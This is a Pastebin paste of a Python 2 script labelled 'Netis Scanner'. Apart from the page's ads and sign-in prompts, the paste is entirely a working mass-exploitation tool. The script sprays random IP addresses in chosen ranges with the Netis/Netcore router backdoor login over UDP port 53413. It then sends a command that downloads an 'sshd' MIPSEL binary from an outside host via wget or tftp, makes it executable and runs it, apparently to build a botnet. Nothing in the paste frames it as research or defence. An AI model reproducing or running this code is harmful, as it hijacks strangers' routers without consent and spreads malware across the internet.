Advertisement
LNO_LiGhT

Netis Scanner By; LiGhT

Nov 15th, 2016
2,713
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.71 KB | None | 0 0
  1. #!/usr/bin/python
  2. """
  3.             NeTiS-ScaNNeR
  4.               By; LiGhT
  5. DONT FORGET TO SET FILE DESCRIPTOR LIMIT(ulimit)
  6. """
  7. import threading, sys, time, random, socket, re, os
  8.  
  9. if len(sys.argv) < 3:
  10.     print "\033[32mNetis Scanner v1\n     \033[36mBy; LiGhT\n\033[35mUsage: python "+sys.argv[0]+" <threads> <ips per range(1-150)>\n\033[35mExample: python "+sys.argv[0]+" 100 25\n\033[37m"
  11.     sys.exit()
  12.  
  13. ranges = ["110","111","112","113","114","115","116","117","118","119","223","1","103","203","202","122"]
  14. loginpayload = "AAAAAAAAnetcore\x00" #DONT CHANGE
  15. commandpayload = "AA\x00\x00AAAA cd /var/; rm -rf sshd; wget http://1.1.1.1/sshd || tftp -r sshd -g 1.1.1.1; chmod 777 sshd; ./sshd; rm -rf sshd\x00" # MIPSEL Binary
  16. threads = int(sys.argv[1])
  17. num = int(sys.argv[2])
  18.  
  19. def worker():
  20.     try:
  21.         while True:
  22.             try:
  23.                 a = random.choice(ranges)
  24.                 number = num + 1
  25.                 hoho = []
  26.                 for k in xrange(number):
  27.                     host = ''+a+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  28.                     hoho.append(host)
  29.                 for j in hoho:
  30.                     ip = j
  31.                     print "\033[37mStarting Thread: %s\033[37m"%(ip)
  32.                     nn = nnetis(ip)
  33.                     nn.start()
  34.             except:
  35.                 pass
  36.     except:
  37.         pass
  38.  
  39. class nnetis(threading.Thread):
  40.         def __init__ (self, ip):
  41.             threading.Thread.__init__(self)
  42.             self.ip = str(ip).rstrip('\n')
  43.         def run(self):
  44.             s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  45.             try:
  46.                 print "\033[32mSending Payload: %s"%(self.ip)
  47.                 s.sendto(loginpayload, (self.ip, 53413))
  48.                 time.sleep(1)
  49.                 s.sendto(commandpayload, (self.ip, 53413))
  50.                 time.sleep(2)
  51.             except Exception:
  52.                 pass
  53.  
  54. for g in xrange(threads):
  55.     t = threading.Thread(target=worker)
  56.     t.start()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement